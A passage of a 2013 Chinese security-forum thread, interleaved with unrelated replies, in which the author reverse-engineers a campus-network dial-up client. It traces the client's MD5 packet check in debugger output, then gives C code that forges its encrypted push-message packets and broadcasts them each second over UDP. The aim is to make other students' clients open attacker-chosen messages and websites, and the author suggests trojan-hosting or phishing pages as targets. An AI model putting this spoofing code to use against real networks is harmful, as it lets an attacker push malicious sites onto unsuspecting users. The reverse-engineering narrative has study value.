|
|
[原创]校园网那些事 —— 总结篇
一起加油吧~ |
|
|
[11月23日更新在11楼][大结局]校园网那些事
【校园网那些事 —— 总结篇】 终于,把该码的都码完了,也算是在差不多能把这个客户端的来龙去脉说清楚了,也算是能给自己一个交代了,也算是圆了自己在考研前75天的那个梦了。 其实,总结无非就是说说这个过程中自己经历了些什么、得到了些什么罢了,也会加上些感谢XXX之类的。完了,写到这句话后,突然发现自己没话写了。是什么都没收获到、还是不知道该如何描述自己收获了些什么呢? 在写这总结前,我去参加了一个交流会,期望能在这交流会上得到些灵感,触发些思考,亦或许得到些想得到的答案~可听了会儿发现,内容并没涉及到关于“兴趣”这块。一直以来都向往自由,不想被约束,更不喜欢被迫去做什么。一条理念就是跟着心走、跟着感觉走、做自己想做的事。可现实并不是时刻都允许我们跟着心走。那,这时我们又该如何抉择呢?是向现实妥协?还是忠于自己的初衷?当然,我这里不想再做思想斗争,免得给自己找些堕落的理由,只想说我能、也应该去更好的处理兴趣与现实的关系。(当然,这与总结无关,纯属思维发散) 文章写了近一年了吧,中间也有过很多次想要放弃。应该是在完全把文中写的最后一个功能实现后,想着,也快要毕业了,也给学弟学妹们留下些什么吧,然后,就心血来潮一天之内洋洋洒洒写了7000字,还要室友帮审稿,再后来就没那么有激情,也或许是离考研的时间越来越近了吧,总想着把事情推到后面去做,于是,中间就耽搁了几个月,接着寒假来了,又开始陆陆续续的把不需要环境的第二部分写完了,而后开学,又是准备毕业设计,又是准备复试,总是把写这文章的优先级排到最后。以至于毕业后,想起这还未完成的心愿时,总会给自己找个借口说:“主要是没环境了,不然我会写完的”。正是因为这种心态,导致很多要做的事情都没做、很多可以实现的梦都只是梦了。 一天,在网上泡着无聊,又刚好一直在反思着那段时间自己的状态,也发现了自身的很多不足、缺点,无意中再一次的逛到泉哥的博客(因为一直很欣赏泉哥的计划性和执行力,所以去过无数次了,博客的大多数栏目和内容都知道),便直接去随笔杂谈一篇篇的看了起来。从第一个五年计划到第三个五年计划,从刚开始的去网吧扫445端口抓鸡到后来成为《黑防》常客,再到后来成为业界有名人物,这些种种给我一种强有力的冲击。于是,暗自拿自己和他对比了起来(虽然压根就没可比性),发现,起点几乎都是相同点,可结果并不相同,原因是中间这个过程它是不同的。意识到这个问题后,暗自庆幸的对自己说了句:“还好,我又给自己再争取了三年时间,加上这三年,在时间上也能于当时的泉哥一致,或许,三年后我也可能达到泉哥今天的高度”。而这一对比,对比出来的问题就是:“他比我有计划、有毅力、有执行力”,而这也正是我缺的。 突然间想到不远在Q上跟我说过的一句:“行随心动”,不要再空谈理想了,不要在说:“等我有时间了再去XXX了。”,告诉你,时间永远都是挤出来的而不是等出来的。 那,就从这个还未完成的梦想开始吧,没环境?自找的,谁要你当时不写完,留到现在呢?有问题?那就解决问题再继续。算是给自己一个教训,也算是给自己一个提醒!永远不要把事情拖到不能做了再去做,因为,拖着拖着,就没有然后了~你那些美好的梦想,你那些高贵的理想,你那希望中的美好生活都没了! 那就做好每一件想做的事,并坚持下去,记得,是做好,而不是完成任务! 所以,就咬着牙继续把这篇文章写了下去。可能,大家看文章的时候,觉着挺轻松的,毕竟写文章的语气也挺轻松的,一步步的按部就班,一个个问题就这么解决了。可你永远的不知道在这轻轻松松的语气中有过多少次没有结果的尝试,你永远不知道这文章的每个标题的背后都有个漫长的学习过程,都有无数个熬夜的夜晚。 就拿最后那几章节中的MD5来说吧,我想,下面的几条说说可以证明些问题: ![]() ![]() ![]() 当然,发这些并不是想要吹嘘自己有多努力,有多刻苦,只是想说,任何一件事都不是轻易间、想想就能做好的,付出了,才会有收获。 就让我们假定时间还停留在大学毕业的六月份吧,马上我又有三年给自己充电的时间了。我得告诉自己,生活不能再向大学那般度过了。就如今天的交流会上,学长学姐无外乎都在强调着“基础”,是的,现在,我有时间了,那,就拿出执行力来,好好的给自己补上这一课吧!还记得kanxue老大说过的一句话:“逆向是为编程服务的 。”所以,好好写代码!刚翻阅以前的说说的时候,发现了这么一句话:“考研,是以职业为起点的。”,记得,那是在考研前15天,我拿着简历去参加学校的校招时说过的一句话。那,现在我告诉自己:“读研,是以职业为起点的!”。 最后,关于本文,由于是纯手工敲下来的,可能或多或少有些错别字,我尽量多审稿吧,请大家见谅了。毕竟,精力有限啊~此外,整个这100多页的doc文件,是分了两个时段写的,可能在某些地方,思路或者写作风格不一样,也请见谅了。 没去泉哥的空间看过,你永远不知道他看过多少书、做过多少次尝试、你也不会知道他是如何一步步成长起来的。谨以此文献给大家,作为自己踏出追寻自己爱好的第一步。 最后,感谢看雪、感谢泉哥、感谢BlackFeathe、感谢elixe、感谢半斤八兩、感谢CRoot、感谢每个看过这篇文章、给我鼓励的人~还要感谢教父goodwell对我说的那句“你是一个没有将基础学好却想登天的投机取巧行为。”——You raise me up!是你们,激励着我。 加油吧~骚年~~~ Tracy_梓朋 ——2013年11月22日22:47:43 |
|
|
[分享]呵呵 注册1月 终于成正式会员了 不容易啊
名字好熟悉~ |
|
|
|
|
|
[11月23日更新在11楼][大结局]校园网那些事
Chapter 7——广播?模拟广播 通过前面的努力,也就实现了整个对客户端大多数秘密的探索。不过,上章中,我们实现了数据包生成,并且,对自己的去掉了时间校验的客户端发送,虽然成功了,可似乎不能说明什么,只能说找到了他的实现原理罢了~ 那,我们再来分析分析吧,在用客户端拨号上网的过程中,整个客户端与服务器的交流过程应该是这个样子的:(YY的,不过貌似每次YY的结果都是正确的) 1、 客户端把密码解密成真实的拨号密码,传递给rasdial 额,大概就是这样了。那,我们现在的目的是:让每个拨号上网的人都弹出我想要弹出的内容和网站。 那我们可以从哪些方面入手呢? 1、改所有的路由器,加条路由,把默认的服务器ip跳转到我的电脑上。(那就是每次都有一个数据包发送到我这里,然后我再返回一个能让他打开的网站的数据包),等等,这个问题我以前没有想到,不过现在一分析,发现,也是不很有效~拿下所有路由器,似乎有点~~~此外,我们忘了一件事,也是我前面强调的,可却说错了的事情:时间是应该是本地拨号上网的时间,不应该是服务器返回过来的。因为,这个通信过程中,客户端先发了一个包含时间的数据包给服务器的~如果没记错的话。 2、24小时不停的对所有的ip地址发UDP数据包,只要他一拨号,就能收到我发出的恶意数据包,然后打开我的网站。那,时间呢?怎么控制?这样吧,每秒钟生成一个数据包,然后把它广播出去。这样子就可以绕过时间限制,以及解决被动发送数据包的问题了。 当然,你还可以想象,在路由器上截获(其实,以前在一家公司做流量探针就是这原理,过一遍所有要传输出去的流量,然后,把需要的信息记录下来),所有发送出去的数据包,然后对应其中的时间,构造数据包返回~ 不过,除了第二条有可行性外,其余所有的都是yy的。前提是拿到路由器的控制权。 那,就来实现第二条的功能吧: 也就是在上一章实现的基础上添加一个时间触发功能,如下: int time_tri() //时间触发,在这个函数里面调用其他函数
{
unsigned long dwStart;
unsigned long dwEnd;
int iCount=0;
do
{
dwStart = GetTickCount();
do
{
dwEnd = GetTickCount()-dwStart;
}while(dwEnd <1000);
iCount++;
printf("这是第%d次执行\n",iCount);
for (INT i=0;i<500;i++)
{
msg_in[i]=message[i];
}
memset(msg_in, 0, sizeof(msg_in)); //清空msg_in[500]
}while(1);
return 0;
}
而后就是UDP数据包的发送了,如下: void SendtoMsg(char *mmsg,int N) //UDP数据包发送模块,将上面生成的构造好了的数据包发送出去
{
SOCKET fd;
int len,i = 0,j = 0;
unsigned int a = 0;
char szTmp[32] = {0};
WSADATA wsd;
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("WSAStartup failed!\n");
return;
}
struct sockaddr_in servaddr;
struct _msg
{
char a[500];
}message;
#define NIPQUAD_FMT "%u.%u.%u.%u"
#define NIPQUAD(addr) \
((unsigned char *)&addr)[0], \
((unsigned char *)&addr)[1], \
((unsigned char *)&addr)[2], \
((unsigned char *)&addr)[3]
char *sz_start_addr;
char *sz_end_addr;
sz_start_addr = buff1;
sz_end_addr = buff2;
unsigned int a1 = inet_addr(sz_ip_addr);
i = 0;
while(i != N)
{
message.a[i] = mmsg[i];
i++;
}
len = sizeof(servaddr);
if((fd = socket(AF_INET,SOCK_DGRAM,0)) < 0)
{
perror("fail to create socket");
return ;
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(atoi("4999"));
a = htonl(a1);
_snprintf(szTmp, sizeof(szTmp)-1,NIPQUAD_FMT, NIPQUAD(a));
servaddr.sin_addr.s_addr = inet_addr(szTmp);
sendto(fd,(const char*)&message,lent,0,(struct sockaddr *)&servaddr,len);
closesocket(fd); //关闭套接字
WSACleanup(); //释放套接字资源
return ;
}也就是说,我们每隔一秒钟,对整个网络广播一个数据包出去,从而来解决时间限制。 之后试了下,发现,对整个网络广播数据包还是可行的,我们寝室的几个哥们都成功的弹出了我的信息,不过呢,我再跑到别的寝室去试试,发现~不可行了~ 那,问题在哪? 还是前面在搭建pppoe服务器的时候的问题,广播数据是不能穿过路由器的,所以~我得改变方案啊,既然它不让广播,那我就模拟广播吧。如果能够拿下路由器,可以在其中找到自己接入的端口,开放广播功能。 在上面的发送代码中,加上一个ip地址段,也即是,循环对这个ip地址段发送数据包。每秒发送一次,这个貌似能够实现对特定的ip打开我的网页,不过,效率太低,ip段过大的话,很容易造成网卡吃不消,丢包等等现象,而且,只要网管一分析,你的ip一直在对外发送数据包,也就很容易找到你了。 文章写道这,也就算完了,我也没再继续往里钻了,1是感觉没什么可以再去探究了,2是时间不够我毕业了。 so,还差一篇总结~ |
|
|
|
|
|
|
|
|
[原创]打造数据包生成器
想知道金三胖学校的环境和实现方法。分享下吧~ |
|
|
[原创]打造数据包生成器
对你的性别比较感兴趣~~~嘿嘿 |
|
|
[11月23日更新在11楼][大结局]校园网那些事
Chapter 6——数据包生成器 有了上面的分析基础,我们算是对接收到的数据包的功能和结构了解的透彻了,那么,下面要做的自然是能够让客户端弹出我想弹出的网站和消息内容。 我这里主要用c实现的,很少敲代码,可能一些变成习惯和风格都不好,也希望大家给点建议和提醒,共同进步。 我们要做的第一步便是去构造整个数据包的框架:(用前面的一张图来说明) ![]() 第1位是可选的:04,06,C8,CA 按照上面的规则,我们可以定义出一个大体的框架了,本想用结构体来定义的,可考虑到结构体需要考虑内存对齐,以及字符串‘\0’结尾不好处理。于是还是老老实实的用char型来拼接出我们想要的数据包吧(当然,那你可以有更好的办法,也希望你分享下~) 于是: 义两个全局变量: //the global var
char msg_tim[19];
// 19位时间信息,格式为:2012-11-26 02:30:07
char message[500];
// 所有字符
然后,把前面的长度为定值的内容先制定好,内容变化的地方用0x00代替。
char msg_0[52]={
0X04,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X09,0X06,0X01,0X00,0X00,0X00,0X08,0X15,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X0A,0X03,0X31,0X0B,0X03,0X30,0X0C};
/*总共51位 1:总长度 2-17:校验码 26-44:时间 */
中间的49+n+m——61+n+m,也先定下来。 char msg_con2[13]={0X0E,0X06,0X20,0X03,0X00,0X00,0X0E,0X06,0XDC,0X05,0X00,0X00,0X10,};后面就是处理3个输入的信息了。 定义三个临时变量来接受输入信息:
char tem1[200]={'0'};
char tem2[200]={'0'};
char tem3[200]={'0'};
然后,再用如下的检测输入方式来进行输入。消息内容、网址,都是这个操作。 while((tem1[i++] = getchar()) != '\n' && i < sizeof(tem1));
tem1[i - 1] = '\0';
msg_msg=tem1;
len1 = strlen(tem1)+2;
tem = (char)len1; //tem 为 asc
message[52]=tem; // 第52位 长度
此后,将出了16位校验码和19位时间的数据连接起来。
//////////////////////////////////////连接
for (i=0;i<52;i++)
{
message[i]=msg_0[i];//将控制位放入全局变量message中用于生成模板
}
for (i=0;i //将用户输入的信息放入全局变量message中用于生成模
{
message[53+i]=msg_msg[i];
}
message[51+len1]=msg_con1[0];//将控制位放入全局变量message中用于生成模板
for (i=0;i
{
message[53+len1+i]=msg_url1[i];//将用户输入的网址1放入全局变量message中用于生成模
}
for (i=0;i<13;i++)
{
message[51+len1+len2+i]=msg_con2[i];//将控制位放入全局变量message中用于生成模板
}
for (i=0;i
{
message[52+len1+len2+i+13]=msg_url2[i];//将用户输入的网址2放入全局变量message中用于生成模
}
len=len1+len2+len3+63;//得到总长度
tem = (char)len;
message[1]=tem; //将总长度数据放入数据包中
return 0;
}再之后,就是按格式生成时间了。 char* msg_time()
{
char temp[5];
int tem;
time_t timep;
struct tm *p;
time(&timep);
/* address with the data */
p=localtime(&timep); /*取得当地时间*/
//gain the year
tem=p->tm_year+1900;
sprintf(temp, "%d", tem);
strcat (temp,"-");
strcpy (msg_tim,temp);
//cat with the month
tem=p->tm_mon+1;
sprintf(temp, "%d", tem);
strcat (temp,"-");
strcpy ((msg_tim)+5,temp);
//cat with the day
tem=p->tm_mday;
sprintf(temp, "%d", tem);
strcpy ((msg_tim)+8,temp);
strcat (msg_tim," ");
/* address with the time */
tem=p->tm_hour;
sprintf(temp, "%02d", tem);
strcat (temp,":");
strcpy ((msg_tim)+11,temp);
//hour
tem=p->tm_min;
sprintf(temp, "%02d", tem);
strcat (temp,":");
strcpy ((msg_tim)+14,temp);
//min
tem=p->tm_sec;
sprintf(temp, "%02d", tem);
strcpy ((msg_tim)+17,temp);
printf("%s\n",msg_tim);
return 0;
}这样,我们还剩下16位MD5的校验码没放上去了。到现在,可以生成了。 前面章节也说过,我用的那套从网上down下来的MD5算法并没有生成与客户端一致的校验码,还导致我一直以为是变形加密来着。我也没怎么去研究那套源代码,而是,直接自己写了个填充函数,在进行它的算法之前,先把所有信息都填充好。如下: 先定义好填充数据包: static unsigned char PADDING[64] = {
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
index = len % 64; //获得余数
if (index<56)
{
for (i=0;i<56-index;i++)
msg_in[len+i]=PADDING[i];
len=len+i;
msg_in[len]=*(char *)&tem;
msg_in[len+1]=*(1+(char *)&tem);
for (i=0;i<6;i++)
{
msg_in[len+2+i]=PADDING[2+i];
}
len=len+2+i;
}//当余数小于56时,用10000补充,最后8字节用需加密数据包的长度进行填充
if (index>=56)//当余数大于等于56时,用10000填充满此64字节。而后,再开新建一个64字节数据,用0000填充,最后8字节填充上数据包长度
{
for (i=0;i<64-index;i++)
{
msg_in[len+i]=PADDING[i];
}
len=len+i;
for (i=0;i<56;i++)
{
msg_in[len+i]=PADDING[2+i];
}
len=len+i;
msg_in[len]=*(char *)&tem;
msg_in[len+1]=*(1+(char *)&tem);
for (i=0;i<6;i++)
{
msg_in[len+2+i]=PADDING[2+i];
}
len=len+2+i;
}这样的生成的数据包,就可以是我们程序能够正常处理的数据包了。 接下来,我们要测试下,也就是对程序发送,看能不能弹出我们想要弹出的对话框啊,网站之类的,于是,我们还要对数据包用程序自带的加密算法加密一次。如下: unsigned char code (int lenth,unsigned char* pwd)
{
int i=0; //定义两个变量
char tmp[2]={0}; //临时缓存存放点
unsigned char n; //定义为无符号字符型
for (i=0;i
{
n=(((((((((pwd[i]>>2)&0X20)|(pwd[i]&0X40))>>2)|(pwd[i]&0X20))>>1)|(pwd[i]&2))>>1))|(((pwd[i]&0X1C)|(pwd[i]<<5))<<2); //密码算法核心
sprintf(tmp,"%02X",n); //将得到的结果转换为16进制
msg_in[i]=*(char *)&n;
}
return 0;
}
然后,我们试着对去掉时间校验的客户端发送一次,看看结果: ![]() OK,搞定了。 既然能够弹出想要的消息框和内容,那,我们可以利用这个做什么呢?让他们打开挂马的网站?让他们打开钓鱼网站?还是刷刷自己空间或者博客的流量?这个就随你了~ 其实,你还分析下,指不定这个程序还提供在线更新功能,直接从某个ip下载一个exe然后自动安装运行呢~直接相当于下载者了~具体的,也没有去继续分析了。有兴趣的自己再去研究吧。 于是,我们剩下的问题就是:如何实现全网控制? 且看下回分解。 ——Tracy 2013-11-18 |
|
|
Win8磁盘使用率100%
试过没?电脑入手近两个月,被我换过n次不同的系统了~~~ |
|
|
[讨论] 我终于知道计科系毕业为什么那么不值钱了
应该是从《C语言深度剖析》里弄过来的,原来的式子是: (*(char* * (*) (char * *,char * *))0) (char * *, char* *); 将0(一个地址)强制转换为一个返回值为char型二级指针输入参数为两个char型的二级指针的函数,而后调用这个函数 |
|
|
[原创]校验码-揭秘MD5算法
表示用了5-6年了 |
|
|
[原创]校验码-揭秘MD5算法
以前学电子 的,最近才转到计算机~也不算是科班吧。。。 |
|
|
[11月23日更新在11楼][大结局]校园网那些事
原文来自Tracy'Blog--【校园网那些事(八)】 Chapter 5——校验码-揭秘MD5算法 上章节中大概的分析了下我们所接收到的数据包。并单步跟踪了程序处理数据包的整个流程,之后我们发现,程序大概做了如下的事情: 1、取第一位判定数据包功能类型。(以下所说的数据包,皆是指解密后的数据包) 2、取第二位得到数据包总长度。 3、取每个功能代码位(即我们上章节中分析出来的08、09、0A、0B、0C、0D),按相应的功能代码对其后跟随的内容进行处理。 A、对08,跳转到时间判定处,对比数据包中包含的时间与拨号上网时间。若不同,则丢弃数据包。 B、对其他的功能代码位大致都是,取其后跟随的字符减去2得到内容长度。再利用长度和起始地址将功能位对应的内容复制到内存其他位置,供程序调用。(如,将要弹出的消息保存到某一地址,调用时,直接先push此地址。) 那么,所有的都分析完了后,我们发现,程序并没有对数据包的第3-18位进行任何操作。难道,这16个字符是没有用的?等等,16个字符,十六个字符你能想到哪些呢? 嗯,反正,我的第一反应就是MD5(可能是早年拿站留下的阴影吧,注入后得到的大多是16位)。为了证实我们的想法,用peid对已脱壳的程序用算法分析插件进行分析,结果如下。 ![]() 那就是说,我们又猜对了,的确是MD5,但是,问题又来了,他是对什么内容进行的哈希呢?对整个数据包?但这16个字符原本就是在数据包里面的啊。对数据包中的某一个部分?还有就是,这16个字符是用来干嘛的呢? 那么,我们还是首先来了解下MD5吧。 Message Digest Algorithm MD5(中文名为消息摘要算法第五版)为计算机安全领域广泛使用的一种散列函数,用以提供消息的完整性保护。MD5的典型应用是对一段信息(Message)产生信息摘要(Message-Digest),以防止被篡改。 因为MD5是不可逆的,不能够还原出真实密码,所以,把它说成加密算法也不太合适(为此在复试的时候被导师批过)。 那,从上面的简介我们可以看出,它的典型应用就是对一段信息进行信息摘要,以防被篡改,这个功能可能就是我们今天遇到的问题了。同时呢,你可能会想,既然它不能逆向解密出原文本,那它是如何在网站上实现密码验证的呢?很简单,密码通过MD5散列后,得到16字节或者32字节散列值,再与数据库中保存的16或32位散列值进行对比。为了安全考虑,数据库中保存的密码绝对不能是明文的,而是在你设置密码的时候,通过MD5将你的密码MD5值写入数据库。而后,下次判定的时候,就对比这两个生成的散列值。 刚看了MD5的原理,接下来,我们看看,具体的算法吧。继续百度百科 对MD5算法简要的叙述可以为:MD5以512位分组来处理输入的信息,且每一分组又被划分为16个32位子分组,经过了一系列的处理后,算法的输出由四个32位分组组成,将这四个32位分组级联后将生成一个128位散列值。 ![]() 每一分组的算法流程如下: 看着晕么?其实我那会儿看,也看得很晕,包括看看雪的《加密解密二》上的MD5那章,发现怎么也理解不了,之后,自己跟了一遍,也就明了了,所以,咱先不着急弄清楚上面说了些什么,跟着后面的实例来看看他是怎么一步步在程序中实现的。(当然,你还可以直接下一个MD5的源代码去看,更省事~)咱们先记住,他有四大轮,16小轮。然后每次用到的M值都不同。额,在看雪看到下面这篇,貌似说的比较简单明了。 84cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6u0r3K9%4y4K6k6q4)9J5c8Y4m8W2k6r3W2&6x3o6c8Q4x3V1k6C8j5h3&6^5N6h3f1J5x3o6u0Q4x3X3g2Z5N6r3@1`. MD5算法: 带着问题,我们继续深入吧,OD载入,下断点,先发正常的数据包。上章中,我们单步后发现,数据包处理是在00408CD9处的call中,所以,我们直接先进入此call。然后F8过掉其中的每一个call,直到正常弹出消息框和网站,记录其中过掉每个call后的环节,特别是后面跟随判定跳转的call。 然后,根据唯一变量原则,我们再发送一个改动过的数据包,像上章中说的,0D改0C之类的。然后再次跟踪,继续F8步过所有的call,看条件转移,这时,我们会发现,进入00408CD9处call中的第一个jnz由原先的不跳转变成了跳转。 004090F8 |. E8 D3190000 call 1_2_9破?0040AAD0 004090FD |. 83C4 08 add esp,0x8 00409100 |. 84C0 test al,al 00409102 |. 0F84 ED010000 je 1_2_9破?004092F5 于是,我们自然的想到前,其上面的call值得怀疑。 好,我们接下来的任务就是看看这个call做了些什么。跟进去(解释就放到注释里了): 0040AAD0 /$ 8B5424 04 mov edx,dword ptr ss:[esp+0x4] ; 数据包首地址edx 0040AAD4 |. 81EC FC050000 sub esp,0x5FC ; 抬高栈顶 0040AADA |. 85D2 test edx,edx 0040AADC |. 0F848F000000 je 1_2_9破?0040AB71 0040AAE2 |. 53 push ebx 0040AAE3 |. 56 push esi 0040AAE4 |. 57 push edi 0040AAE5 |. B9 77010000 mov ecx,0x177 0040AAEA |. 33C0 xor eax,eax 0040AAEC |. 8D7C242C lea edi,dword ptr ss:[esp+0x2C] 0040AAF0 |. F3:AB rep stos dword ptr es:[edi] ; 清空堆栈 0040AAF2 |. 8B8424 100600>mov eax,dword ptr ss:[esp+0x610] ; 数据包总长度放入eax 0040AAF9 |. 8BF2 mov esi,edx 0040AAFB |. 8BC8 mov ecx,eax 0040AAFD |. 8D7C242C lea edi,dword ptr ss:[esp+0x2C] 0040AB01 |. 8BD9 mov ebx,ecx 0040AB03 |. 83C2 02 add edx,0x2 ; 加2后,就可以从第3位开始 0040AB06 |. C1E9 02 shr ecx,0x2 ; 除4,ecx用作计数器。 0040AB09 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi] ; 将内容复制到刚开辟的堆栈空间中去。用的是movs,这也是为什么上一步要将总长度除4、先给edx加2了。 0040AB0B |. 8BCB mov ecx,ebx 0040AB0D |. 83E1 03 and ecx,0x3 ; 处理当长度不是2的整数倍的情况 0040AB10 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi] 0040AB12 |. 8B0A mov ecx,dword ptr ds:[edx] 0040AB14 |. 894C240C mov dword ptr ss:[esp+0xC],ecx ; 1 0040AB18 |. 8B4A04 mov ecx,dword ptr ds:[edx+0x4] 0040AB1B |. 894C24 10 mov dword ptr ss:[esp+0x10],ecx ; 2 0040AB1F |. 8B4A08 mov ecx,dword ptr ds:[edx+0x8] 0040AB22 |. 894C24 14 mov dword ptr ss:[esp+0x14],ecx ; 3 0040AB26 |. 33C9 xor ecx,ecx 0040AB28 |. 8B520C mov edx,dword ptr ds:[edx+0xC] 0040AB2B |. 894C24 2E mov dword ptr ss:[esp+0x2E],ecx ; 将保存到堆栈中的3-6位清零 0040AB2F |. 895424 18 mov dword ptr ss:[esp+0x18],edx ; 4,这四步刚好将数据包中3-18位保存到堆栈中 0040AB33 |. 8D54241C lea edx,dword ptr ss:[esp+0x1C] 0040AB37 |. 52 push edx 0040AB38 |. 894C24 36 mov dword ptr ss:[esp+0x36],ecx ; 将保存到堆栈中的7-10位清零 0040AB3C |. 50 push eax 0040AB3D |. 8D4424 34 lea eax,dword ptr ss:[esp+0x34] ; 堆栈中数据包的地址 0040AB41 |. 894C24 3E mov dword ptr ss:[esp+0x3E],ecx ; 将保存到堆栈中的11-14位清零 0040AB45 |. 50 push eax 0040AB46 |. 894C24 46 mov dword ptr ss:[esp+0x46],ecx ; 将保存到堆栈中的15-18位清零 0040AB4A |. E8 C1AEFFFF call 1_2_9破?00405A10 0040AB4F |. 83C40C add esp,0xC 0040AB52 |. B9 04000000 mov ecx,0x4 0040AB57 |. 8D7C240C lea edi,dword ptr ss:[esp+0xC] 0040AB5B |. 8D74241C lea esi,dword ptr ss:[esp+0x1C] 0040AB5F |. 33D2 xor edx,edx 0040AB61 |. F3:A7 repe cmps dword ptr es:[edi],dword ptr ds:[esi] 0040AB63 |. 5F pop edi 0040AB64 |. 5E pop esi 0040AB65 |. 5B pop ebx 0040AB66 |. 75 09 jnz short 1_2_9破?0040AB71 ; 这个跳转作为设置al的,可以作为去除MD5校验位处 0040AB68 |. B0 01 mov al,0x1 0040AB6A |. 81C4 FC050000 add esp,0x5FC 0040AB70 |. C3 retn 0040AB71 |> 32C0 xor al,al 0040AB73 |. 81C4 FC050000 add esp,0x5FC 0040AB79 \. C3 retn 所以,瞬间0040AB4A处的call,就显得“高大”了起来。其中必有蹊跷,我们跟进去看看。还有一点值得怀疑的是,他为什么要把3-18位清零呢?难道是对清零后的数据包进行MD5,然后将生成的值与原数据包的3-18位进行比对?应该是这样的,那,我们直接去网上找了一段代码,然后对这个清零后的数据包做一次MD5,可得到的结果明显不是我们想要的(时间关系我这里就不演示了,不例证了),这该如何是好呢?也罢也罢,我们还是继续调试吧,或许进行MD5的并不是我们的数据包呢。恩,继续跟进,这里有一个小技巧(当我们看到如下所示有多个指定地址的call时,我们可以直接enter进去,看看缘由)。 ![]() 当看到的都是一些系统调用和retn时,就可以果断选择过掉这个call了,如下图。 ![]() 于是,我们的第一个call,直接pass掉。 我们直接F4到第二个call上,enter看到了如下代码: 004064F0 /$ 8BD1 mov edx,ecx 004064F2 |. 57 push edi 004064F3 |. B9 10000000 mov ecx,0x10 004064F8 |. 33C0 xor eax,eax 004064FA |. 8D7A04 lea edi,dword ptr ds:[edx+0x4] 004064FD |. C702 B00D4300 mov dword ptr ds:[edx],1_2_9破?00430DB0 00406503 |. F3:AB rep stos dword ptr es:[edi] 00406505 |. 8942 48 mov dword ptr ds:[edx+0x48],eax 00406508 |. 8942 44 mov dword ptr ds:[edx+0x44],eax 0040650B |. C7424C01234>mov dword ptr ds:[edx+0x4C],0x67452301 00406512 |. C742 50 89ABC>mov dword ptr ds:[edx+0x50],0xEFCDAB89 00406519 |. C742 54 FEDCB>mov dword ptr ds:[edx+0x54],0x98BADCFE 00406520 |. C742 58 76543>mov dword ptr ds:[edx+0x58],0x10325476 00406527 |. 8BC2 mov eax,edx 00406529 |. 5F pop edi 0040652A \. C3 retn 里面并没有call,但是呢,出现了012345678ABCDEFFEDCBA9876543210。还记得前面百度百科里说的初始链值(幻数)么?就是他了。由于没有其他的内容,我们可以选择不进行跟踪。暂时看看它放到哪里去了就行。本程序中将初始链值放入00F2F0D 处。 接着看第三个call,发现其中还是不同的,有那么两个call: …… 0040664F |. E8 7CF4FFFF call 1_2_9破?00405AD0 ; \1_2_9破?00405AD0 00406654 |. 8BFD mov edi,ebp 00406656 |. 8D753F lea esi,dword ptr ss:[ebp+0x3F] 00406659 |. 8B6C24 18 mov ebp,dword ptr ss:[esp+0x18] 0040665D |. 3BF5 cmp esi,ebp 0040665F |. 731A jnb short 1_2_9破?0040667B 00406661 |> 8B5424 14 /mov edx,dword ptr ss:[esp+0x14] 00406665 |. 8BCB |mov ecx,ebx 00406667 |. 8D4432 C1 |lea eax,dword ptr ds:[edx+esi-0x3F] 0040666B |. 50 |push eax ; /Arg1 0040666C |. E8 5FF4FFFF |call 1_2_9破?00405AD0 ; \1_2_9破?00405AD0 00406671 |. 83C6 40 |add esi,0x40 00406674 |. 83C7 40 |add edi,0x40 00406677 |. 3BF5 |cmp esi,ebp 00406679 |.^ 72 E6 \jb short 1_2_9破?00406661 而且,你会发现,这两个call居然是调用一个函数。那么我们enter进入00405AD0,看看它是干嘛的(用enter进入,Alt+c返回当前执行处)。 看到有下面摸样的代码: 00405B2C |. 8D8C0178A46A>lea ecx,dword ptr ds:[ecx+eax+0xD76AA478] 等等,D76AA478?不就是我们前面原理里面的FF(a,b,c,d,M0,7,0xd76aa478)中的么?于是,我们可以判定, 00405AD0处的函数是进行MD5运算的。其中必定包含4大轮16小轮全部算法(数了下类似上面的代码总共64个,也就证实了我们的猜想)。将其生产的128位结果用作下一512位数据分组的初始链值。那,照这么说,在0040664F处call后面的种种判定,必然是为了看看整个数据包被分成了多少个512位的分组,然后有多少个分组就进行多少次循环咯。最终输出的4组32位链值,结合起来就是最终的MD5值了。 嗯,我们再来就先不进这个call了(因为在调试的时候,F7跟入只是为了更好的确定这个call的作用,既然我们现在知道了这个call的作用了,我们也就不用再去单步调试了)。 我们数据包总长度为B8,化作10进制是184字节。也就是1472位。除以512,等于2,余数为448。瞬间恍惚了,还记得原理里面说的么?要进行填充,使其位长度与512求与等于448。这里居然就刚好~~~然后,通过看雪中发的那个帖子,当求余结果刚好为448的时候,需要再增加一个512分组,并且,从448那里开始一直用100000填充,到最后八个字节(64bits)再用数据长度填充。 单步后,发现正如我们推测那样,第一个call是用来执行对前512位操作的,要是长度小于等于512,则只要进行着一步就行了,后面的循环就是其他对剩余的各512位分组操作了。在这里,我们发现,也就只循环了一次,所以,我们还剩448位没进行处理。 继续单步跟踪下去。看看有没有其他的发现。 返回后来到前面图中的第四个call处: 00405A60 |. E8 1B0B0000 call 1_2_9破?00406580 ; \1_2_9破?00406580 还是先enter键进去看看: 00406580 /$ 83EC 08 sub esp,0x8 00406583 |. 8D4424 00 lea eax,dword ptr ss:[esp] 00406587 |. 56 push esi 00406588 |. 8BF1 mov esi,ecx 0040658A |. 57 push edi 0040658B |. 6A08 push 0x8 0040658D |. 8D7E 44 lea edi,dword ptr ds:[esi+0x44] 00406590 |. 57 push edi 00406591 |. 50 push eax 00406592 |. E8 99FFFFFF call 1_2_9破?00406530 00406597 |. 8B07 mov eax,dword ptr ds:[edi] 00406599 |. B9 38000000 mov ecx,0x38 0040659E |. C1E8 03 shr eax,0x3 004065A1 |. 83E03F and 